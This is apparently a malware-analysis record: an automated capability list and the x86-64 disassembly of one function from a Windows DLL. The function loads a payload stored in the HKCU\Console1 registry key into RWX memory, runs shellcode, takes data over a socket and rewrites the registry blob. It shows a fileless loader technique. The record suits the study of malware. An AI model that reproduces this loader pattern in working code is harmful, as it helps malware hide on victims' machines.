Function at 0x180005664
Capabilities:
Allocate or change rwx memory
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x990]
sub rsp, 0xa90
cmp byte [rdx], 0xc9
mov rdi, rdx
mov rsi, rcx
je 0x180005a16
cmp r8d, 0x65
jne 0x180005907
lea rax, [rsp + 0x30]
lea rdx, str.Console1
xor ebx, ebx
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x9d8], 3
mov dword [rbp + 0x9c8], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r12d, 0xa44
test eax, eax
jne 0x1800057bc
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x9c8]
lea r9, [rbp + 0x9d8]
mov qword [rsp + 0x28], rax
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rbp + 0x9c8], r12d
jbe 0x1800057b1
mov ecx, dword [rbp + 0x9c8]
call fcn.1800064b8
mov r8d, dword [rbp + 0x9c8]
xor edx, edx
mov rcx, rax
mov r13, rax
call fcn.1800091e0
mov rcx, qword [rsp + 0x30]
lea r11, [rbp + 0x9c8]
mov qword [rsp + 0x28], r11
lea r9, [rbp + 0x9d8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800057b1
lea rcx, [0x18001eac0]
mov rdx, r13
mov r8d, r12d
call fcn.180006510
movsxd rdx, dword [0x18001ecc8]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x18001ecc8]
lea rdx, [r13 + 0xa44]
mov rcx, rax
mov qword [0x18001f508], rax
call fcn.180006510
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rdi + 1]
lea r8, [0x18001eccc]
sub r8, rax
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x1800057de
add rax, 2
test edx, edx
jne 0x1800057ca
test ecx, ecx
je 0x180005a0e
mov rcx, qword [0x18001f508]
test rcx, rcx
je 0x180005807
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x18001f508], rbx
mov eax, 0x767b
mov edi, 0x64
lea rcx, [rsp + 0x5e]
mov word [rsp + 0x44], ax
mov eax, 0x5f55
xor edx, edx
mov word [rsp + 0x46], ax
mov eax, 0x6a21
mov r8d, 0x1e4
mov word [rsp + 0x48], ax
mov eax, 0x5757
mov dword [rsp + 0x40], ebx
mov word [rsp + 0x4a], ax
lea eax, [rdi - 5]
mov dword [rsp + 0x4c], 0x64002e
mov word [rsp + 0x54], ax
lea eax, [rdi - 2]
mov dword [rsp + 0x50], 0x6c006c
mov word [rsp + 0x56], ax
lea eax, [rdi + 5]
mov dword [rsp + 0x5a], WSASetLastError
mov word [rsp + 0x58], ax
call fcn.1800091e0
xor r11d, r11d
lea rcx, [rbp + 0x14c]
mov r8d, edi
xor edx, edx
mov word [rbp + 0x142], r11w
mov qword [rbp + 0x144], 1
call fcn.1800091e0
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x7d0
call fcn.1800091e0
xor r11d, r11d
mov r13d, 0xa45
mov ecx, r13d
mov dword [rbp + 0x980], r11d
call fcn.1800064b8
lea rdx, [rsp + 0x40]
mov r8, r12
lea rcx, [rax + 1]
mov rdi, rax
mov byte [rax], 5
call fcn.180006510
cmp dword [rsi + 0x10], ebx
jne 0x1800058fa
mov rcx, qword [rsi + 8]
mov r8d, r13d
mov rdx, rdi
mov r9, qword [rcx]
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.1800064c0
jmp 0x180005a16
mov r12d, 0xa44
lea rcx, [0x18001eac0]
inc rdx
mov r8d, r12d
call fcn.180006510
movsxd rdx, dword [0x18001ecc8]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd r8, dword [0x18001ecc8]
lea rdx, [rdi + 0xa45]
mov rcx, rax
mov qword [0x18001f508], rax
call fcn.180006510
mov r13d, dword [0x18001ecc8]
add r13d, r12d
movsxd rcx, r13d
call fcn.1800064b8
mov rdi, rax
test rax, rax
je 0x180005a0e
lea rdx, [0x18001eac0]
mov rcx, rax
mov r8d, r12d
call fcn.180006510
movsxd r8, dword [0x18001ecc8]
mov rdx, qword [0x18001f508]
lea rcx, [rdi + 0xa44]
call fcn.180006510
lea r8, [rbp + 0x9c8]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1800059f9
mov rcx, qword [rbp + 0x9c8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x9c8]
lea rdx, str.d33f351a4aeea5e608853d1a56661059
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x9c8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.180006fe0
mov rcx, rsi
call fcn.18000561c
mov rbx, qword [rsp + 0xac0]
add rsp, 0xa90
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret